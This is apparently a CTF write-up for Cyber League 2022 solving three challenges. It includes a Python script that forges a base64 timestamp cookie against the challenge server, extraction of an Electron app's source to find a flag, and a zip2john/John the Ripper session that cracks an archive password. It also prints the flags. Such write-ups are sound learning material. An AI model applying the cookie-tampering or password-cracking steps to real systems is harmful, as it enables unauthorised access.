Cyber League CTF 2022 - Writeups ๐ฉ
Didnโt really have much time to tackle a lot of the challenges with this CTF and only managed to pwn 3 of them. A big shoutout to my team mates Mocha and Dante for a lot of initial enumerations! I just mainly followed their leads ๐
Simulated bomb drill
This is the first challenge for the web category in cyber leagueโs CTF. A web endpoint is given for us to start enumerating. When you first hit the main page you are issued a base64 encoded cookie that contains the time in the following format.
2022-05-01 12:41:35.329922
From the time format given above, note that there are microseconds. This was missed initially as our team enumerates for possible way to exploit this cookie. During the initial request to the main page and by the time the cookie is issued, a few microseconds have already passed.
Above is an illustration of the time line. So
- If you visit with the issued cookie under a minute to
/defuse
page, you will fail. - If you also modified the cookie to be one minute earlier, you will still fail.
The above is the screenshot of the main page with issued cookie.
Since the bomb needs to be defused with 0 microseconds passed from the time of request (not the time of cookie issued), it is physically impossible to do this by hand. So the best way is to script this out in python. The algorithm to get the flag endpoint is as below.
- Decode the base64 time from cookie
- Measure the time elasped from the first request
- Minus off the time elasped from the cookie time
- Encode the new time into the cookie and send the request
We can code the above steps as below in python.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import base64
s = requests.Session()
res = s.get('http://13.213.72.54:5003/')
# Get time elapsed in microseconds
time_elapsed = res.elapsed
time_elapsed = time_elapsed.total_seconds()
print(res.elapsed)
# 0:00:00.019976
time_to_decode = s.cookies.get_dict()['princesspeach']
decoded_datetime = base64.b64decode(time_to_decode).decode('utf-8')
# '2022-05-01 12:41:35.329922'
decoded_time = decoded_datetime.split('.')
# ['2022-05-01 12:41:35', '308641']
decoded_microseconds = decoded_datetime.split('.')[1]
# '329922'
decoded_microseconds_in_seconds = int(decoded_microseconds)/1000000
# 0.329922
new_time = decoded_microseconds_in_seconds - time_elapsed
new_time_in_microseconds = int(new_time * 1000000)
# 308641
decoded_time[1] = str(new_time_in_microseconds)
to_encode = ''.join(decoded_time)
# '2022-05-01 12:41:35308641'
encoded_time = base64.b64encode(bytes(to_encode, 'utf-8'))
# b'MjAyMi0wNS0wMSAxMjo0MTozNTMwODY0MQ=='
s.cookies['princesspeach'] = encoded_time
res = s.get('http://13.213.72.54:5003/defuse')
print(res.content)
""" >>> print(res.content)
b'<!DOCTYPE html>\n<html>\n<head>\n <title></title>\n <meta charset="utf-8" />\n</head><body>\n<div class="bd-example" align="middle">\n\n<img src="/static/712a8b4446afb5d43da0dea63cd1c13b.jpg"align="middle" />\n\n</div>\n</body>\n</html>' """
We managed the get the flag endpoint like below.
1
<img src="/static/712a8b4446afb5d43da0dea63cd1c13b.jpg"align="middle" />
Visit the endpoint and you will be able to get the flag.
Write farewell letters
This challenge is the misc category of the CTF. 3 types of installation files are given with flag hidden. .dmg
.exe
and .appimage
. You simply have to run them to get the binary file to run the application.
The application is doing nothing much but hiding and showing the message as below.
I had my suspicion that this could be an electron app. To decompile it we can use npmโs asar to extract the source code. Below is the capture of how i extracted out the electron source code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
โ cyleague cd peekaboo.app
โ peekaboo.app cd Contents
โ Contents cd Resources
โ Resources ls
am.lproj de.lproj fi.lproj id.lproj mr.lproj ro.lproj te.lproj
app.asar el.lproj fil.lproj it.lproj ms.lproj ru.lproj th.lproj
ar.lproj en.lproj fr.lproj ja.lproj nb.lproj sk.lproj tr.lproj
bg.lproj en_GB.lproj gu.lproj kn.lproj nl.lproj sl.lproj uk.lproj
bn.lproj es.lproj he.lproj ko.lproj peekaboo.icns sr.lproj vi.lproj
ca.lproj es_419.lproj hi.lproj lt.lproj pl.lproj sv.lproj zh_CN.lproj
cs.lproj et.lproj hr.lproj lv.lproj pt_BR.lproj sw.lproj zh_TW.lproj
da.lproj fa.lproj hu.lproj ml.lproj pt_PT.lproj ta.lproj
โ Resources mkdir decompile-electron
โ Resources asar extract app.asar decompile-electron
โ Resources cd decompile-electron
โ decompile-electron code .
After decompiling, we open the source code in electron to analyse. From root folder navigate to js folder to index.js as below.
In js > index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var visibilitySetting = 'hidden'
function load() {
document.getElementById('showButton').innerHTML = 'show'
}
function showVersions() {
if (visibilitySetting === 'visible') {
visibilitySetting = 'hidden'
document.getElementById('versions').style.visibility = 'hidden'
document.getElementById('showButton').innerHTML = 'show'
}
else {
visibilitySetting = 'visible'
document.getElementById('versions').style.visibility =' visible'
document.getElementById('showButton').innerHTML = 'hide'
}
}
function shinyKnob() {
console.log('CYBERLEAGUE{7h3_cu73n355_15_5720n9_w17h_7h15_0n3}')
}
Understand space politics
This is a forensics challenge where challengers are given a .7z
file with flag text underneath. The challenge is straightfoward to crack the zip file password to get the flag. Below is the capture of using zip2john to crack the zip file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
โโโ(kaliใฟkali)-[~/Documents]
โโ$ zip2john hello_there.zip > ziphashes
ver 2.0 hello_there.zip/hello_there.txt PKZIP Encr: cmplen=41, decmplen=29, crc=87D14E54 ts=A8AF cs=87d1 type=0
โโโ(kaliใฟkali)-[~/Documents]
โโ$ cat ziphashes
hello_there.zip/hello_there.txt:$pkzip$1*1*2*0*29*1d*87d14e54*0*2d*0*29*87d1*8facba0e3e10e650ad9dc1fc89e000dfcff60fe4858a519eb33e8f1f9380a9633f39729fb0e101c9eb*$/pkzip$:hello_there.txt:hello_there.zip::hello_there.zip
โโโ(kaliใฟkali)-[~/Documents]
โโ$ john ziphashes
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
2hot4u (hello_there.zip/hello_there.txt)
1g 0:00:00:02 DONE 3/3 (2022-05-01 09:13) 0.3521g/s 2067Kp/s 2067Kc/s 2067KC/s cjjlip..2hul83
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
The password is 2hot4u
to extract out the flag.
1
2
3
4
5
6
7
8
9
โโโ(kaliใฟkali)-[~/Documents]
โโ$ unzip hello_there.zip
Archive: hello_there.zip
[hello_there.zip] hello_there.txt password:
extracting: hello_there.txt
โโโ(kaliใฟkali)-[~/Documents]
โโ$ cat hello_there.txt
CYBERLEAGUE{Y0U_Fo|_|nD_3e!}